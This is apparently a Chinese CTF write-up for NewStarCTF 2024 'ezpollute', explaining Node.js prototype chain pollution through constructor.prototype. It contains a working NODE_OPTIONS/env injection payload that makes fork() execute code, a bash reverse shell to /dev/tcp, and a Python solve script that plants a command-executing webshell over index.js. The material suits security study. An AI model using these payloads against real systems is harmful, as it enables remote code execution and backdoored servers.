题目链接

newstarCTF 2024 ezpollute

原型链污染

https://wiki.wgpsec.org/knowledge/ctf/js-prototype-chain-pollution.html

https://blog.mmf.moe/post/node-fork-proto-env-rce/

https://quan9i.top/post/%E6%B5%85%E6%9E%90CTF%E4%B8%AD%E7%9A%84Node.js%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/

js中特有的,对象与对象间的继承是通过原型链实现的。

在JavaScript中,每个对象都有一个原型,它是一个指向另一个对象的引用。当我们访问一个对象的属性时,如果该对象没有这个属性,JavaScript引擎会在它的原型对象中查找这个属性。这个过程会一直持续,直到找到该属性或者到达原型链的末尾。
攻击者可以利用这个特性,通过修改一个对象的原型链,来污染程序的行为。例如,攻击者可以在一个对象的原型链上设置一个恶意的属性或方法,当程序在后续的执行中访问该属性或方法时,就会执行攻击者的恶意代码。

原型链

关注一下__proto__prototype

一开始看的时候总是喜欢把这两个搞混

这里讲一下我的理解

js里没有传统的类概念,这里的Cat.prototype和Object.prototype叫做原型,可以等价于类的概念。

其中prototype是对于构造函数来说的,__proto__是对于一个已经实例化的对象来说的。

其中__proto__是实例对象的一个属性,也就是说可以通过实例对象访问它的原型(类),假如说我们能够修改某一个对象的__proto__属性,那么我们也就可以改变它的原型(类),这样的话,所有之后从这个原型产生的实例对象都会有我们附加的属性。

js中调用某个对象的属性时,过程是这样的

1、在b对象中寻找number属性
2、当在b对象中没有找到时,它会在b.__proto__中寻找number属性
3、如果仍未找到,此时会去b.__proto__.__proto__中寻找number属性

题目分析

在/config路由下有这样的代码

userConfig = JSON.parse(jsonData)
try {
finalConfig = clone(defaultWaterMarkConfig)
merge(finalConfig, userConfig)
fs.writeFileSync(path.join(__dirname, 'uploads', userID, 'config.json'), JSON.stringify(finalConfig))
ctx.body = {
code: 1,
msg: 'Config updated successfully',
}
} catch (e) {
ctx.body = {
code: 0,
msg: 'Some error occurred',
}
}

可以看到有个merge函数

function merge(target, source) {
if (!isObject(target) || !isObject(source)) {
return target
}
for (let key in source) {
if (key === "__proto__") continue
if (source[key] === "") continue
if (isObject(source[key]) && key in target) {
target[key] = merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target
}

merge函数把proto属性ban了,但是还能通过constructor.prototype 来绕过限制

之后的/process有这样的代码

await new Promise((resolve, reject) => {

const proc = fork(PhotoProcessScript, [userDir], { silent: true })

proc.on('close', (code) => {
if (code === 0) {
resolve('success')
} else {
reject(new Error('An error occurred during execution'))
}
})

proc.on('error', (err) => {
reject(new Error(`Failed to start subprocess: ${err.message}`))
})
})

其中有fork函数

https://blog.mmf.moe/post/node-fork-proto-env-rce/

在 Node.js 中,child_process.fork() 的第三个参数 options 通常包含一个 env 字段,用于设置子进程的环境变量。

如果开发者没有显式传递 env,Node 会用默认值 process.env,而如果你通过原型链污染注入了 env,就会被“继承”进来。

我们现在能够修改env了,但是我们还希望能够将其作为代码执行

除了env这个属性外,还有NODE_OPTIONS这个属性,这个属性控制了启动参数

比如

{
"NODE_OPTIONS": "--require path/to/file.js"
}

就是执行file.js文件中的代码

我们既然可以控制环境变量,也就是说可以控制/proc/self/environ这个文件,也就可以把这个文件中的内容当做代码执行,由此就可以实现任意代码执行

payload = {
"constructor": {
"prototype": {
"NODE_OPTIONS": "--require /proc/self/environ",
"env": {
"A":"require(\"child_process\").execSync(\"bash -c \'bash -i >& /dev/tcp/ip/port 0>&1\'\")//"
}
}
}
}

env这句代码的意思就是反弹shell

bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'
bash -c 的意思是:运行后面的字符串作为一个 shell 命令。
片段 含义
bash -i 启动一个交互式 bash shell
> 输出重定向符号
&> 同时重定向 stdout 和 stderr
/dev/tcp/ip/port 是 bash 的一种特性,表示通过 TCP 连接到远程主机的某个端口(即建立 socket)
0>&1 标准输入(fd 0)重定向到标准输出(fd 1),这样远程主机的输入可以控制本机 shell

当前我是自己起的docker服务,因此可以进行反弹shell

我们的思路是这样的,首先向服务器发送几张图片,然后接收到token,之后使用burpsuite向/cinfig发包,正文加入我们的payload,成功之后,再向/process发包,此时就可以触发我们的反弹shell(要先在公网服务器使用命令nc -lvnp 12345监听)

不出网时的思路:写webshell覆盖index.js,然后读取flag

wp里的脚本

import requests
import re
import base64
from time import sleep

url = "http://url:port"

# 获取 token
# 随便发送点图片获取 token
files = [
('images', ('anno.png', open('./1.png', 'rb'), 'image/png')),
('images', ('soyo.png', open('./2.png', 'rb'), 'image/png'))
]
res = requests.post(url + "/upload", files=files)
token = res.headers.get('Set-Cookie')
match = re.search(r'token=([a-f0-9\-\.]+)', token)
if match:
token = match.group(1)
print(f"[+] token: {token}")
headers = {
'Cookie': f'token={token}'
}

# 通过原型链污染 env 注入恶意代码即可 RCE

# 写入 WebShell
webshell = """
const Koa = require('koa')
const Router = require('koa-router')
const app = new Koa()
const router = new Router()

router.get("/webshell", async (ctx) => {
const {cmd} = ctx.query
res = require('child_process').execSync(cmd).toString()
return ctx.body = {
res
}
})

app.use(router.routes())
app.listen(3000, () => {
console.log('http://127.0.0.1:3000')
})
"""

# 将 WebShell 内容 Base64 编码
encoded_webshell = base64.b64encode(webshell.encode()).decode()

# Base64 解码后写入文件
payload = {
"constructor": {
"prototype": {
"NODE_OPTIONS": "--require /proc/self/environ",
"env": {
"A": f"require(\"child_process\").execSync(\"echo {encoded_webshell} | base64 -d > /app/index.js\")//"
}
}
}
}

# 原型链污染
requests.post(url + "/config", json=payload, headers=headers)

# 触发 fork 实现 RCE
try:
requests.post(url + "/process", headers=headers)
except Exception as e:
pass

sleep(2)
# 访问有回显的 WebShell
res = requests.get(url + "/webshell?cmd=cat /flag")
print(res.text)